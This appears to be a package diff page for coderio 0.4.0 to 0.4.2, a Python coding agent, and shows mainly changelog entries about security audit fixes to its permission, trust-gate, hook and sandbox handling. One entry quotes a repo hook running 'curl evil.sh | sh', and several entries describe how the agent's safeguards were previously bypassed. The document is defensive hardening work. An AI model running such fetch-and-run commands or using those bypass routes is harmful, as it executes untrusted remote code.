coderio 0.4.0__tar.gz → 0.4.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {coderio-0.4.0 → coderio-0.4.2}/CHANGELOG.md +161 -0
- {coderio-0.4.0 → coderio-0.4.2}/PKG-INFO +49 -4
- {coderio-0.4.0 → coderio-0.4.2}/README.md +49 -4
- {coderio-0.4.0 → coderio-0.4.2}/README_en.md +48 -3
- {coderio-0.4.0 → coderio-0.4.2}/pyproject.toml +5 -1
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/_deepagents_compat.py +39 -10
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/deep_loop.py +93 -7
- coderio-0.4.2/src/coderio/agent/hooks.py +372 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/app.py +18 -3
- coderio-0.4.2/src/coderio/cli/run_cmd.py +263 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui.py +9 -7
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/loader.py +60 -9
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/models.py +11 -1
- coderio-0.4.2/src/coderio/config/trust.py +257 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/models.py +9 -3
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/sandbox_runner.py +11 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deepagents_compat.py +80 -0
- coderio-0.4.2/tests/agent/test_hooks.py +467 -0
- coderio-0.4.2/tests/cli/test_run_cmd.py +263 -0
- coderio-0.4.2/tests/config/test_trust.py +237 -0
- {coderio-0.4.0 → coderio-0.4.2}/uv.lock +1 -1
- coderio-0.4.0/src/coderio/cli/run_cmd.py +0 -171
- coderio-0.4.0/src/coderio/config/trust.py +0 -136
- coderio-0.4.0/tests/cli/test_run_cmd.py +0 -152
- coderio-0.4.0/tests/config/test_trust.py +0 -93
- {coderio-0.4.0 → coderio-0.4.2}/.github/dependabot.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/.github/workflows/ci.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/.github/workflows/release.yml +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/.gitignore +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/CONTRIBUTING.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/LICENSE +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/THIRD_PARTY_LICENSES.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/docs/coderio-architecture.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/scripts/verify_deepagent_live.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/scripts/verify_harness_live.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/command_review.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/harness.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/harness_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/permission_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/prompts.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/skill_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/state.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/agent/stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/commands.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/credentials.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/mcp_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/multimodal.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/providers.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/render.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/repl.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/skills_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_screens.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/cli/tui_widgets.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/config/bootstrap.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/factory.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/llm/probe.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/mcp_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/message.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/session/store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/bundled/executing-plans/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/LICENSE +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/README.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/clarifying-questions/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/clarifying-questions/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/code-review/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/code-review/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/commit-message/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/commit-message/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/debugging/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/debugging/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/error-handling/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/error-handling/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/lion-writing-skills/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/lion-writing-skills/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/naming/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/naming/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/spec-writing/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/spec-writing/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/task-breakdown/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/task-breakdown/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/testing/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/testing/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/verify-and-fix/SKILL.md +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/lion-skills/skills/verify-and-fix/evals/evals.json +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/parser.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/skills/store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/base.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/bash.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/command_policy.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/edit_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/glob_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/grep_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/linux_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/list_dir.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/multi_edit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/note.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/permission.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/read_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/todo.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/web_fetch.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/web_search.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/win_job.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/win_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/src/coderio/tools/write_file.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/conftest.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_command_review.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_integration.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_loop.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_deep_loop_unit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_harness.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_harness_middleware.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_perf_baseline.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_prompts.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_skill_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_state.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/agent/test_stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_app.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_command_menu.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_commands.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_credentials.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_input_isolation.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_live_thinking.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_mcp_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_multimodal.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_onboarding_logic.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_providers.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_render.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_repl_loop.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_repl_reset.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_skills_cmd.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_status_bar.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_stream.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_truncation.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_onboarding.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_picker.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_screens.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_startup.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_tui_widgets.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/cli/test_ux_features.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/config/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_bootstrap.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/config/test_models.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/conftest.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/e2e/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/llm/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/llm/test_factory.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/llm/test_probe.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/session/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/session/test_message.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/session/test_store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/skills/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_bundled.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_parser.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_skill_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/skills/test_store.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/test_mcp_loader.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/test_p0_stability.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/test_repl.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/test_version.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/__init__.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_bash.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_command_policy.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_concrete_gates.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_edit_prefix.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_file_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_glob_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_grep_tool.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_list_dir.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_multi_edit.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_note.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_permission.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_registry.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_sandbox.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_search_tools.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_todo.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_web.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_web_fetch.py +0 -0
- {coderio-0.4.0 → coderio-0.4.2}/tests/tools/test_win_job.py +0 -0
|
@@ -6,6 +6,167 @@ All notable changes to coderio are documented here. The format follows
|
|
|
6
6
|
`pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
|
|
7
7
|
`importlib.metadata`.
|
|
8
8
|
|
|
9
|
+
## [0.4.2] — 2026-08-18
|
|
10
|
+
|
|
11
|
+
### Security — v3 audit short-term batch (#7/#8/#9/#11/#14, all runtime-verified)
|
|
12
|
+
- **#7 · headless default permission full → plan**: a headless entry that
|
|
13
|
+
silently allowed everything was a zero-confirmation door. `coderio run` now
|
|
14
|
+
defaults to read-only plan; full requires the explicit
|
|
15
|
+
`--dangerously-skip-permissions` flag (Claude Code's name for the same
|
|
16
|
+
escape hatch). confirm/auto_edit fail fast without a TTY (the gate is lazy,
|
|
17
|
+
so input() would otherwise EOFError mid-execution); invalid --permission
|
|
18
|
+
values are rejected up front.
|
|
19
|
+
- **#8 · project-layer skills join the trust gate**: a repo shipping ONLY
|
|
20
|
+
`.coderio/skills` previously loaded them with zero confirmation — yet skills
|
|
21
|
+
enter the system prompt and may carry tools.py that exec's on activation.
|
|
22
|
+
Skills now participate in discovery + content fingerprint (per-file hash;
|
|
23
|
+
any skill edit re-triggers the prompt), and the confirmation summary marks
|
|
24
|
+
skills carrying tools.py with "⚠ executes code". tools.py load failures are
|
|
25
|
+
logged, no longer silent.
|
|
26
|
+
- **#9 · trust store hardening**: the store gets owner-only permissions
|
|
27
|
+
(POSIX 0600 / Windows icacls, reusing the credentials helper); a corrupt
|
|
28
|
+
store is left untouched instead of being reset (the old reset destroyed
|
|
29
|
+
every other repo's trust entries); `SandboxFsConfig.deny_write` now
|
|
30
|
+
defaults to `["~/.coderio"]` so sandboxed commands can't rewrite the
|
|
31
|
+
config/credentials/trust store (explicit `deny_write = []` opts out;
|
|
32
|
+
Linux bwrap only — Windows sandbox is a no-op today).
|
|
33
|
+
- **#11 · research subagent execution-time enforcement**: PermissionMiddleware
|
|
34
|
+
+ CommandReviewMiddleware now ride the research subagent (the tool
|
|
35
|
+
whitelist filters what the model SEES; these gate what actually RUNS).
|
|
36
|
+
Failover direction reversed: a whitelist that cannot be constructed — or
|
|
37
|
+
fails at runtime — degrades to a DENY-ALL middleware (zero tools), not to
|
|
38
|
+
the old no-middleware state that inherited every tool including
|
|
39
|
+
write/execute.
|
|
40
|
+
- **#14 · headless wall-clock timeout + exit codes**: `--timeout <seconds>`
|
|
41
|
+
(thread+join; SIGALRM doesn't exist on Windows) exits 124 on expiry;
|
|
42
|
+
agent execution failures exit 2 (distinct from config errors' 1); success
|
|
43
|
+
0. Documented in README for CI use.
|
|
44
|
+
|
|
45
|
+
### Fixed — hooks completion (2026-08-14 v3 audit P1/P2 items)
|
|
46
|
+
- **Timeout latency (v3 P1: timeout=2 hook took 12s)**: the post-kill pipe
|
|
47
|
+
drain waited 10s for an EOF that never comes on Windows (a pre-kill
|
|
48
|
+
grandchild holds the write end) — and the drained output was never consumed
|
|
49
|
+
anyway (hardcoded empty return). Now a 1s grace then abandon: a timeout=2
|
|
50
|
+
hook returns in ~3s. Windows grandchild leak documented as a known
|
|
51
|
+
limitation (the turn is no longer hostage; root fix = CREATE_SUSPENDED +
|
|
52
|
+
pre-assigned Job + stdin pipe through _create_process_with_token). Latency
|
|
53
|
+
regression test added (`elapsed < timeout + 2`), mutation-verified.
|
|
54
|
+
- **Per-event budget (v3 P1: N hooks × 60s on every tool call)**: fire() now
|
|
55
|
+
enforces a 30s total budget per event (overridable on HookRunner for
|
|
56
|
+
tests). Each hook's timeout tightens to min(spec.timeout, budget
|
|
57
|
+
remaining); exhaustion skips the remaining hooks with an error note
|
|
58
|
+
(fail-open, consistent with the module's positioning).
|
|
59
|
+
- **Subagents bypassed hooks (v3 #12)**: research and general-purpose
|
|
60
|
+
subagents both carry HooksMiddleware now (outermost, same order as the main
|
|
61
|
+
agent) — task() delegation can no longer sidestep PreToolUse/PostToolUse.
|
|
62
|
+
No middleware overhead when no hooks are configured.
|
|
63
|
+
- **Repo [[hooks]] silently dropped user hooks (v3 P2)**: _merge replaces
|
|
64
|
+
lists wholesale, so a repo's hooks config wiped the user's protective
|
|
65
|
+
hooks. Hooks now APPEND across layers — user hooks first (first-blocker-
|
|
66
|
+
wins: the user's deny reason is what the model sees). The first and only
|
|
67
|
+
list-merge in the loader; every other key keeps replace semantics.
|
|
68
|
+
- +7 tests (latency guard, budget skip/tighten, subagent middleware stacks ×3,
|
|
69
|
+
merge order). Mutation check: reintroducing the 10s drain turns the latency
|
|
70
|
+
test red (10.1s ≥ 4s bound) — the guard actually guards.
|
|
71
|
+
|
|
72
|
+
### Fixed — 2026-08-18 self-audit (3 bugs + 3 warnings, all runtime-verified)
|
|
73
|
+
- **BUG A · `--permission full` had no flag gate (claim vs code mismatch)**:
|
|
74
|
+
the 0.4.1 commit message and CHANGELOG claimed "full requires
|
|
75
|
+
--dangerously-skip-permissions" — no such gate existed; `--permission full`
|
|
76
|
+
alone ran with full access (verified end-to-end by an audit agent that
|
|
77
|
+
unintentionally ran three real model turns through it). The gate is real
|
|
78
|
+
now: full without the flag exits 1. +2 tests (negative and positive sides).
|
|
79
|
+
Fourth seam-class failure in project history (v1: deepagents↔coderio; v3:
|
|
80
|
+
config↔runtime, trust↔mcp_loader; this: message↔code) — new rule in the
|
|
81
|
+
audit report: every behavior claim in a commit message must have a
|
|
82
|
+
corresponding verified command output before release.
|
|
83
|
+
- **BUG B · Windows NUL bypassed the confirm-mode TTY check**: `</dev/null`
|
|
84
|
+
(the classic CI idiom) makes `sys.stdin.isatty()` return True on Windows
|
|
85
|
+
(MSVCRT treats character devices as ttys) — the check passed, then
|
|
86
|
+
`input()` read NUL, EOFError'd, and crashed the agent mid-execution.
|
|
87
|
+
confirm/auto_edit are no longer valid headless values AT ALL (rejected
|
|
88
|
+
unconditionally); the interactive TUI is the only prompting surface.
|
|
89
|
+
- **BUG C · the deny_write default was dead config for most users**:
|
|
90
|
+
SandboxFsConfig's `deny_write=["~/.coderio"]` default only applied when the
|
|
91
|
+
`[tools.sandbox_filesystem]` table EXISTED — users without the table got
|
|
92
|
+
fs_config=None, and bwrap's built-in layout had no deny_write, so sandboxed
|
|
93
|
+
commands could write ~/.coderio (config/credentials/TRUST STORE). The
|
|
94
|
+
sandbox runner now constructs the default config when fs_config is None;
|
|
95
|
+
explicit user configs (including `deny_write = []`) pass through unchanged.
|
|
96
|
+
- **hooks budget skip-count was dead code**: `self.specs[len(self.specs):]`
|
|
97
|
+
is always the empty slice, so the "N hook(s) skipped" message always
|
|
98
|
+
printed "remaining" — the count never appeared (and no test asserted it).
|
|
99
|
+
Fixed with enumerate-indexed slicing (verified: 4 hooks skipped →
|
|
100
|
+
"4 hook(s) skipped").
|
|
101
|
+
- **trust store `null` slipped the corruption guard**: JSON `null` parsed to
|
|
102
|
+
None and bypassed the `is not None` shape check, getting overwritten. All
|
|
103
|
+
non-dict JSON (including null) now leaves the store untouched.
|
|
104
|
+
- **nested typer.Exit produced a misleading second error line**: typer.Exit
|
|
105
|
+
is a RuntimeError subclass, so the session-load failure's clean exit was
|
|
106
|
+
re-caught by "Runtime setup failed" and printed twice. Nested exits now
|
|
107
|
+
pass through with their original code and message.
|
|
108
|
+
|
|
109
|
+
## [0.4.1] — 2026-08-17
|
|
110
|
+
|
|
111
|
+
### Added
|
|
112
|
+
- **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
|
|
113
|
+
array tables in config.toml. Five events — SessionStart (once per session,
|
|
114
|
+
resume included), UserPromptSubmit (reject or inject context), PreToolUse
|
|
115
|
+
(deny), PostToolUse (append feedback), Stop (notification-only). IO contract
|
|
116
|
+
follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
|
|
117
|
+
exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
|
|
118
|
+
exit 2 = block with stderr as the reason, anything else = fail-open.
|
|
119
|
+
`$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
|
|
120
|
+
timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
|
|
121
|
+
security boundary; hard policy stays with permissions + blacklist).
|
|
122
|
+
PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
|
|
123
|
+
Harness/Permission/CommandReview) so a hook can deny before the permission
|
|
124
|
+
prompt appears and observes exactly the args the chain sees. Hooks in
|
|
125
|
+
repo-level config.toml automatically ride the existing repo-config trust
|
|
126
|
+
gate — no separate trust flow. Serial execution (first blocker's reason
|
|
127
|
+
wins; all hooks still run for their side effects). New module
|
|
128
|
+
`agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
|
|
129
|
+
Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
|
|
130
|
+
bypassing permission prompts, parallel execution. POSIX hook subprocesses
|
|
131
|
+
get their own process group (a hook timeout would otherwise SIGKILL the
|
|
132
|
+
agent itself — caught by the CI OS matrix, invisible on Windows).
|
|
133
|
+
(Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
|
|
134
|
+
a `coderio run` end-to-end, and post-v3 seam tests.)
|
|
135
|
+
|
|
136
|
+
### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
|
|
137
|
+
- **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
|
|
138
|
+
classes named HookSpec existed — config/models.py's (a plain dataclass,
|
|
139
|
+
no .matches()) and agent/hooks.py's (the runtime class). The loader produced
|
|
140
|
+
the former; HookRunner.fire called .matches() on it → AttributeError on every
|
|
141
|
+
PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
|
|
142
|
+
in-module tests stayed green because they imported the runtime class
|
|
143
|
+
directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
|
|
144
|
+
deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
|
|
145
|
+
+2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
|
|
146
|
+
the same AttributeError if a duplicate class ever reappears.
|
|
147
|
+
- **P0 · trust gate bypassed when launching from a subdirectory.** The gate
|
|
148
|
+
checked one directory (anchored on .coderio/config.toml) while mcp_loader
|
|
149
|
+
walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
|
|
150
|
+
+ launching from any subdirectory skipped the gate entirely while the server
|
|
151
|
+
still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
|
|
152
|
+
walk, same stop conditions); the principle "trust scope ⊇ load scope" is
|
|
153
|
+
enforced. Trust confirmed once at any depth covers the whole repo (store
|
|
154
|
+
keys by discovered root). +2 tests incl. the report's exact bypass scenario.
|
|
155
|
+
- **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
|
|
156
|
+
only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
|
|
157
|
+
— hooks are the repo's most direct RCE surface and were invisible. The
|
|
158
|
+
summary now echoes every line mentioning command/hooks/args/env, and MCP
|
|
159
|
+
entries show args + env key names (values not leaked). +2 tests.
|
|
160
|
+
- **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
|
|
161
|
+
consumers — a broken hook (exit 127) was invisible. fire() now logs a
|
|
162
|
+
warning whenever error is non-empty.
|
|
163
|
+
- **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
|
|
164
|
+
the whole dispatch loop in try/except (fail-open, consistent with the
|
|
165
|
+
module's stated positioning) — covers both middleware and turn-level paths.
|
|
166
|
+
- **P2 · headless run could lose the final answer**: non-quiet mode relied
|
|
167
|
+
solely on the token stream; a non-streamed final message vanished. The
|
|
168
|
+
final result is now always printed (after a separator in non-quiet mode).
|
|
169
|
+
|
|
9
170
|
## [0.4.0] — 2026-08-17
|
|
10
171
|
|
|
11
172
|
### Added
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: coderio
|
|
3
|
-
Version: 0.4.
|
|
3
|
+
Version: 0.4.2
|
|
4
4
|
Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
|
|
5
5
|
Author: coderio contributors
|
|
6
6
|
License-Expression: MIT
|
|
